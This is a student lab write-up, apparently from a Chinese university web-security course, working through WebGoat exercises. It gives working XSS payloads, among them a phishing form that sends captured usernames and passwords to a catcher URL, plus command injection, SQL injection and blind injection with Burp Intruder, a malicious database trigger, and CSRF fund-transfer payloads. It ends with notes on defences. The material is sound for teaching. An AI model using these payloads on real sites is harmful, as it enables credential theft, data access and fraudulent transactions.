1. 程式人生 > >20155229《網絡對抗技術》Exp9:Web安全基礎

20155229《網絡對抗技術》Exp9:Web安全基礎

分享 pre 連接 use owa ucc 訪問控制 ebs ted

實驗內容

  • Webgoat實踐下相關實驗。

實驗步驟

WebGoat: Webgoat是OWASP組織研究出的一個專門進行web漏洞實驗的應用品臺,這個平臺裏包含了web中常見的各種漏洞,例如:跨站腳本攻擊、sql註入、訪問控制、隱藏字段、Cookie等;

  • 輸入java -jar webgoat-container-7.0.1-war-exec.jar命令打開WebGoat

技術分享圖片

  • 在瀏覽器上對WebGoat進行訪問。
  • 地址localhost:8080/WebGoat

技術分享圖片

Cross-Site Scripting (XSS)

Phishing with XSS(釣魚攻擊)

  • search部分填寫一個頁面,用於釣魚
</form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert(".....your information was stolen by lsq! User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>please input your information here:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

點擊search後

技術分享圖片

隨便輸入用戶名和密碼

技術分享圖片

登陸後,會發現 頁面填寫的信息已經被捕獲並且反饋回來顯示在頁面上。。

技術分享圖片

Stored XSS Attacks

  • XSS攻擊代碼存儲於數據庫中,每次當用戶打開此網頁時便會執行,危害大,常用語留言板,每次當用戶查看留言信息時即觸發。導致用戶訪問時載入非預期的頁面或內容。

  • 在Title中隨便輸入

  • 在Message中輸入<script>alert(" you have been attacked by tvxq !!");</script>

技術分享圖片

  • 點擊submit創建帖子後:

技術分享圖片

  • 點擊上面的連接,攻擊成功。

技術分享圖片

Reflected XSS Attacks(反射型XSS)

  • 非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。
  • 當未驗證的用戶輸入用在HTTP響應時會發生XSS。在一個反射XSS攻擊中,攻擊者可以使用攻擊腳本制造一個URL,然後提交到另一個網站、發郵件或讓受害者點擊。

技術分享圖片

技術分享圖片

Injection Flaws

Command Injection

  • 命令註入攻擊對任何一個以參數驅動的站點來說都是一個嚴重威脅。這種攻擊技術背後的技術方法,簡單易學,能造成大範圍的損害,危及系統安全。盡管這類風險數目令人難以置信,互聯網中的系統很容易受到這種形式的攻擊。

  • 啟動WebScarab。在課程頁面的下拉列表中任意選擇一個頁面,然後點“View"

技術分享圖片

  • 在所請求的頁面處添加"&netstat -an & ipconfig"。然後再點擊view進行查看。

技術分享圖片

  • 查看到網絡端口使用的情況和IP地址。

技術分享圖片

Numeric SQL Injection(數字型SQL註入)

  • 在station字段中註入特征字符,能組合成新的SQL語句。
  • SELECT * FROM weather_data WHERE station=[station]

  • 下面的表單允許用戶查看天氣數據。通過註入SQL字符串的方式查看所有的天氣數據

  • 選擇一個城市,點“GO”
    技術分享圖片

  • 在編號後面添加“or 1=1”,確定

技術分享圖片

  • 添加後點擊GO,就能夠看到所有城市的天氣數據。

技術分享圖片

日誌欺騙(Log Spoofing)

  • 這種攻擊時在日誌文件中愚弄人的眼睛,攻擊者可以利用這種方式清除他們在日誌中的痕跡。

  • 在Username輸入fyh%0d%0aLogin Succeeded for username: admin,其中%0d是回車,%0a是換行符。

技術分享圖片

  • 如圖,攻擊成功。

技術分享圖片

String SQL Injection

LAB: SQL Injection(SQL註入)

Stage1:String SQL Injection

  • 使用SQL註入繞過認證。

  • 以用戶Neville登錄,在密碼欄中輸入‘ or 1=1 --進行SQL註入,但是登錄失敗。
  • 使用inspect element查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多只允許輸入8個字符,將8改為40

技術分享圖片

則可以登陸成功。

技術分享圖片

Stage3:Numeric SQL Injection

  • 該課程的目的是通過註入語句,瀏覽到原本無法瀏覽的信息。通過一個普通員工的賬戶,瀏覽其BOSS的賬戶信息。

  • 點擊ViewProfile瀏覽員工信息

技術分享圖片

技術分享圖片

  • 將員工信息的value值改為101 or 1=1 order by salary desc --
  • 這樣根據工資高低的排名,老板的信息就會被排到第一個。

技術分享圖片

Database Backdoors(數據庫後門)

  • 輸入101,得到了該用戶的信息:

技術分享圖片

  • 輸入的語句沒有驗證,很容易進行SQL註入。若要執行兩個語句,中間需要用分號分隔。輸入註入語句101;update employee set salary=90000

技術分享圖片

  • 使用以下查詢條件,添加觸發器:

101;CREATE TRIGGER lsqBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid

技術分享圖片

Blind Numeric SQL Injection(數字型盲註入)

  • 目標是找到pins表中cc_number字段值為1111222233334444的記錄中pin字段的數值。pin字段類型為int,整型。

101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );

  • 查看pin數值是否大於10000

  • 一直嘗試 5000、2500,到1250發現提示變為賬戶有效

技術分享圖片

然後嘗試2000、2250等

技術分享圖片

打開BurpSuite,設置代理proxyoptions

將端口號改為5229,點擊add,ok

技術分享圖片

  • 設置瀏覽器的代理,打開瀏覽器右側的“更多”,依次點擊preference->advanced->natwork->settings,選擇下圖所示代理,端口號為自己剛剛設置的端口號。

技術分享圖片

當於將burpsuite當成中間服務器,每個數據包都流過它。。返回題目,點擊go,返回BurpSuite,已經抓好包。

技術分享圖片

在Positions中,選擇Sniper模式,在Payloads中,選擇type類型為number,然後設置變化範圍2250-2500,並設置步長為1,在Options中,選擇Start attack開始攻擊。

技術分享圖片

找到數據包大小變化的值為2364

技術分享圖片

在WebGoat中帶入2364,正確。

技術分享圖片

CSRF

Cross Site Request Forgery(CSRF)

  • 可以通過在右邊插入的參數中找到“屏幕”和“菜單”值來構建鏈接。當時被認證的CSRF郵件的收件人將轉移他們的資金。當這一課的攻擊成功時,左邊的菜單旁邊出現一個綠色的復選標記。

技術分享圖片

  • 在message中輸入<img src=‘attack?Screen=273&menu=900&transferFunds=5000‘ width=‘1‘ height=‘1‘>

  • screen的值和menu的值是由上圖得到的。然後通過寬高設置成1像素,隱藏掉這個圖片。

技術分享圖片

  • 提交後會在消息列表中看到新的消息,點擊後

技術分享圖片

  • 會加載下面這條消息,達到CSRF攻擊的目的。

技術分享圖片

CSRF Prompt By-Pass

  • 在Title輸入:5229
  • 在Message輸入:
<iframe
    src="attack?Screen=273&menu=900&transferFunds=5000"
    id="myFrame" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300"
    onload="document.getElementById(‘frame2‘).src=‘attack?Screen=280&menu=900&transferFunds=CONFIRM‘;">
</iframe>
 <iframe
    id="frame2" frameborder="1" marginwidth="0"
    marginheight="0" width="800" scrolling=yes height="300">
</iframe>

技術分享圖片

  • 得到如下結果:

技術分享圖片


實驗後問題回答

(1)SQL註入攻擊原理,如何防禦
原理:

利用現有應用程序,將惡意的SQL命令註入到後臺數據庫引擎執行的能力。通過在Web表單中輸入惡意SQL語句得到一個存在安全漏洞的網站上的數據庫,最終達到欺騙服務器執行惡意的SQL命令。

防禦:

以SQL註入為例,可以通過JAVA中的綁定變量等方法進行預防,JAVA的綁定變量方法是吧用戶的輸入作為一種變量,對SQL語句進行預編譯,這樣在執行時就不是順序執行,而是把輸入作為一種變量進行處理,不會在運行時進行動態的拼接SQL語句,防止了惡意的攻擊代碼被寫入SQL語句進行解析和執行。

(2)XSS攻擊的原理,如何防禦

原理:


XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁註入可執行代碼且成功地被瀏覽器
執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯系人列
表,然後向聯系人發送虛假詐騙信息,可以刪除用戶的日誌等等。

防禦:


- 在表單提交或者url參數傳遞前,對需要的參數進行過濾。

- 過濾用戶輸入的檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、”(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等。嚴格控制輸出

(3)CSRF攻擊原理,如何防禦

原理:


CSRF就是冒名登錄。跨站請求偽造的核心本質是竊取用戶的Session,或者說Cookie,因為目前主流情況Session都是存在Cookie中.攻擊者並不關心被害者具體帳號和密碼,因為一旦用戶進行了登錄,Session就是用戶的唯一憑證,只要攻擊者能夠得到Session,就可以偽裝成被害者進入服務器.

防禦:

- 驗證HTTP Referer字段。
- 在請求地址中添加token並驗證。
- 在HTTP頭中自定義屬性並驗證。

實驗總結與體會

  • 這次實驗是在上一個實驗的基礎上更加深入的理解SQL和XSS攻擊,雖然攻擊的方法多,但是都是很有意思的攻擊方法,有機會再試試沒做過的題目。

20155229《網絡對抗技術》Exp9:Web安全基礎